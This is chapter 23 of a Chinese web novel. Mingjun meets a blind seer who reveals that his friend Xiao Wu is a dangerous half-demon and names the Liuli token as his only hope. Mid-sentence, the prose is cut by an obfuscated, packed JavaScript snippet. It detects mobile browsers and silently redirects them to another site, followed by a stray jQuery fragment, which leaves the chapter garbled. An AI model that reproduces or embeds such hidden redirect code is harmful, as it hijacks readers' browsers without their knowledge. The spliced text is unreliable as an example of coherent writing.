雾中森 作品

23. 第二十三章

“怎么了?”许是见明珺久久没有再说话,只一味地盯着自己的脸瞧,白发青年的神色浮现出几分无奈来,他苦恼地想——


难不成是他先前拒绝明珺的话说得太过于生硬,叫明珺吓到了?


可白发青年回忆了下自己先前说话的语句,又实在难以想起什么错处来。再者,先前他借圆圆的眼瞧明珺,只觉得这孩子的性格比萧乌活泼多了,不像是会被轻易吓到的样子啊?


出于某种原因,明珺眼中“仙人”似乎很想给他留下一个好印象。这若是叫明珺知道了,恐怕会觉得极为受宠若惊。


可惜,青年的心思极为内敛,他很少把自己的所思所想通过言语、神情表达出来。因此,明珺也就无从知晓青年此刻到底在想些什么。


明珺将青年比作天上白璧无瑕的仙人,而地上的凡人遇上天上的仙人时,多少都会心怀几分忐忑。


青年的话虽叫明珺回过神来,但明珺回话时仍有些呆呆的,他摇了摇头,说话的声音竟比平时还要轻柔不少:“没、没什么。”


说着,明珺小心翼翼抬起头,他的目光落在青年有些消瘦的脸颊上。


看着看着,明珺忍不住想——眼前的“仙人”好看是好看,但其身体健康却叫人有些揪心。


由于方才咳嗽,青年苍白的双颊上攀上一缕淡红。叫明珺看来,这缕淡红恰似雪地里初绽的红梅。


仍然是那句话——好看是好看,但每回看着孤零零的花朵在呼啸的寒风中剧烈发着颤,明珺就总有些杞人忧天,他想,总有一天,那漂亮的花会在寒风的摧残下沉默凋零。


更何况,眼前的人不是一朵不会说话的花,他是个活生生的人。


思来想去,出于一片赤忱的好心,明珺多事道:“您…看上去似乎不大舒服,要不要我为您请个大夫来?”


明珺牢记自己的“侍女”身份,而眼前的人,看上去就叫人觉得——他在诛妖司中,身份地位必然不低。


因此明珺的用词和语气都低顺而恭敬。


可闻言,眼前的人却道:“不必那么拘谨。”


说完,他顿了顿,忽而放柔了语调:“坐吧。”


明珺的目光四下看了看,最终落在不远处圆桌旁的椅子上。


听见明珺转身要走的声音,青年只好及时将他喊住。


“坐这。”青年眉眼无奈,他伸手指向自己对面的座位。


片刻后,青年眼前的火光被微微挡住,他感觉离自己不远的软垫上有一人落座,那人背脊微僵,似仍有些放不开手脚。


青年只好伸手在桌上摸了摸。


明珺的注意力一直落在青年身上,因此他很快就注意到了青年的动作。


看着青年的手像是找不准方向般在桌上慢慢摸索着,明珺微微一愣,他瞧向青年的眼睛。


这一刻,明珺终于发觉了先前没能立刻察觉到的事——


眼前人的眼睛,似乎什么也看不到。


青年的眼,宛如琥珀般,饱经岁月发沉淀,他的目光温和而平稳,仿佛充满智慧,能够洞悉人的灵魂。可这样一双漂亮的眼,现在却仿佛蒙上一层浅浅的阴翳,他笨拙地摸索着,却不慎推动了自己想要的东西。


“小心!”


眼看桌上的糕点只差一点就要尽数打翻在地,明珺惊呼一声,连忙及时用手挡住装着糕点的瓷盘。


青年怔了怔,他长睫微微垂下。桌上烛光跃动,青年半张脸隐没在阴影中,叫人看不清他脸上的神色。


“…您是想要这个吗?”明珺试探着,将糕点推至青年手边。


可青年却朝他笑了笑:“是给你的。”


明珺一怔,却听青年又开了口:“这是瑞香斋近来新出的点心,在京都里很是受欢迎,你用些试试,看喜不喜欢?”


“喜欢便多吃些。”


闻言,明珺低头看向盘中的糕点。那糕点被做成四四方方的一小块,每块约有手指长,看上去软糯香甜,色如白玉。


面对天上“仙人”的盛情款待,明珺实在难以推脱,不得已,他只好轻轻捻起一块糕点,放到嘴边尝了尝。


结果这一试,明珺当真还颇为惊喜。


这糕点的味道同他先前在海云城尝过的那些极为不同,似有着一股淡淡的乳香。


这乳香并不叫人觉得腥。一块糕点下了肚,明珺唇齿间还残留着几缕香甜。


“如何?”青年期待地问明珺。


明珺想了想,回答道:“…很好吃?”


说起吃的,明珺就不免想起萧乌。青年说,这糕点在时下的京都中很是受欢迎,也不只萧兄尝过了没有,若是没尝过…那他过几日便去买一些给萧兄尝尝吧。


瑞香斋。


明珺记下了这个名字。


见明珺似有些走神,青年唇边泛起一缕极浅的笑,他忽然道:“这糕点瑞香斋每日做的数量不多,你若是喜欢,便多吃些。”


青年突如其来的话唤回了明珺的意思,明珺眨了眨眼,不知怎的,明珺似乎听懂了青年的话外之意——


青年说,这糕点每日做的数量不多。可他又说,这糕点在京都里很是受欢迎。这两句话上下串联起来,明珺几乎都可以想象到那糕点铺门口每日都大排长龙的模样了。


就明珺这小胳膊小腿,若是自己排队去买、去抢,也不知道什么才能叫萧乌尝上新鲜出炉的糕点。


明珺被屋内热气烤得发红的脸蛋忍不住皱起来,半晌,明珺又低头看了看盘子里看上去似乎还剩不少的糕点,他厚着脸皮,问青年:“我、我能带几块走吗?”


青年没有立刻答应,反而故意问明珺:“为何?”


明珺鲜少这般向人讨要东西,他颇有些不好意思,但他仍然开口解释道:“我想带给我的朋友…”


说到一半,明珺忽而记起,眼前的青年和萧乌应该认识。毕竟向明珺推荐青年的人,就是萧乌。


想到这,明珺便换了一个称呼:“我想带给萧兄尝尝。”


“哦?”青年分明对明珺的回答毫不意外,可他却偏偏仍要问下去,“你倒是处处记挂着他。”


明珺却不觉得这话有什么奇怪,他点了点头,再自然不过地承认了自己当真处处记挂着萧乌。


“是啊,因为萧兄是极好极好的人。”


“真那么好?”


尽管瞎了眼,但青年“看到的”却远比眼睛所看到的多得多,他知道明珺此刻的话全然发自内心,可…有些话,青年仍然不得不问。


因为人心易变。明珺此刻对萧乌的这份赤诚又能维持多久呢。


青年曾自诩能算尽天下一切。可唯独善变的感情,往往总能生出些许变数来。


“当然!”


明珺的回答毫不犹豫,可听了他的回答,青年脸上的神色却连一丝变化也没有,他仍然挂着那张温和的笑脸,但嘴里说出来的话却陡然变得尖锐,惊得明珺一下子竟没能回过神来。


青年说:“哪怕他是天煞孤星?靠近他的人最终没一个有好下场?”


不久前曾听过一遍的话再度被人这般毫不避讳地提起,明珺呆了呆。等他好不容易回过神,一张脸霎时涨得通红。


明珺生气地皱起眉,他作势想要站起身。


“这些不过是些虚假的流言罢了。”


“如果您也想说这些胡话,那恕小人…咳,恕奴家没有时间奉陪!”


说罢,明珺看向眼前的青年,只觉得失望极了:“我先前还以为您是天上的仙人,如今一看,似乎也不过只是个凡人而已。”


“是我看走了眼。”


明明萧乌那般相信眼前的青年,可青年却辜负


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252729|162983||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


了萧乌的信任,他竟选择相信那些荒谬的流言,他现在的话若是叫萧乌听见了,那萧乌该有多伤心呀…


越想,明珺整颗心便越忍不住紧紧揪起来。明珺自幼是泡在蜜罐子里长大的,他行动上虽不自由,可为了补偿这一点,他的家人给予了他很多很多的爱。


那些爱把明珺的心填得很满。可萧乌却与明珺不同,他从提起过他的父母,而在他所谓的“家”,不,住所里,几乎人人都厌恶他。


不知怎的,明珺竟为萧乌感到无比委屈。他与萧乌不过相处了一个多月,可这已足以叫明珺知道——萧乌是个很好很好的人。


明明没有品尝过被爱的滋味,但萧乌却仍然笨拙而善良。他从妖邪手中救下明珺,又在明珺的纠缠下,心软妥协,带着明珺来到了京都。而在来京都的路上,萧乌虽总一副刀子嘴的模样,但实则却连一句重话都没对明珺说过,反而处处照顾着明珺。


明珺总忍不住想,萧乌这么好的人不该被他人这么对待。


有时候,明珺真想干脆拽着萧乌离开诛妖司这个破地方。


被明珺生气之下一连说了数句重话,青年脸上却无半分恼色,他反倒因为明珺对萧乌异样的偏袒笑了笑。直至明珺怒气冲冲地要走,青年才又开了口:“那的确只是一些虚假的流言。”


“但它并非毫无根据。”


青年的话成功叫明珺即将跨出门槛的脚停了下来,明珺皱着眉回过头,对上青年那双目光涣散的眼睛。


那双眼睛明明什么也瞧不见,可明珺却觉得,自己正在被一道锐利的目光审视着。


“每个靠萧乌太近的人的确都没什么好下场。”


“…你凭什么这么说?”


听明珺仍有些不服气地反问,青年轻叹一声:“自然是因为我知道萧乌这个人所有的一切。”


“他从未和你提起过,他是半妖吧?”


“半妖?”这个一听上去就不怎么吉利的词叫明珺的心漏跳了一拍,他忽然产生了一种极为不详的预感。


而青年接下去的话很快印证了明珺的预感,他说:“以人身承妖血,自大妖将他的妖血注入萧乌身体中那一刻起,萧乌这个存在就再也算不上是人了。”


“他体内的妖血会夜以继日地侵蚀着他的身体乃至神智,有时候,在极端情况下,他的体内妖血会令他短暂地异化成妖,进入失控状态。”


“萧乌最近一次失控是在他八岁时,那一次,整个诛妖司死了将近四分之一的捉妖师。”


青年平静地将那段血淋淋的历史摆在明珺面前,他极为冷酷地宣判道:“自那以后,萧乌每日都在强行抑制住自己体内的妖血,他以为自己能控制住作为妖的那一部分,而他也的的确确没有再失控过。”


“可谁也无法保证,还会不会再发生下一次意外。如果意外真的发生了,又会有很多人死去。”


“或许选择跟在他身边的你会是第一个。”


“这样,你还想继续为他说话,跟着他身边吗?”


“……”


突然一下子知道了这么多事情,明珺的头脑不免有些混乱起来,心神震荡下,他忍不住开口问道:“就没有办法剔除萧兄体内的妖血吗?”


青年摇了摇头:“几乎没有,要么被妖血吞噬,异化为妖,要么在无尽痛苦中死去,这是他唯二两种结局。”


“除非…”青年到底还是没有把话说绝。


“除非什么?!”明珺迫不及待地追问。


借着鸟儿的眼,看着明珺心急如焚,真心为萧乌担忧的模样,青年顿了顿,到底还是把那唯一的解法一字一句说了出来。


“除非找到琉璃令。”


可千百年来,想找到琉璃令的人数不胜数,可他们从未有一人成功。


因而这种可能性,微乎其微。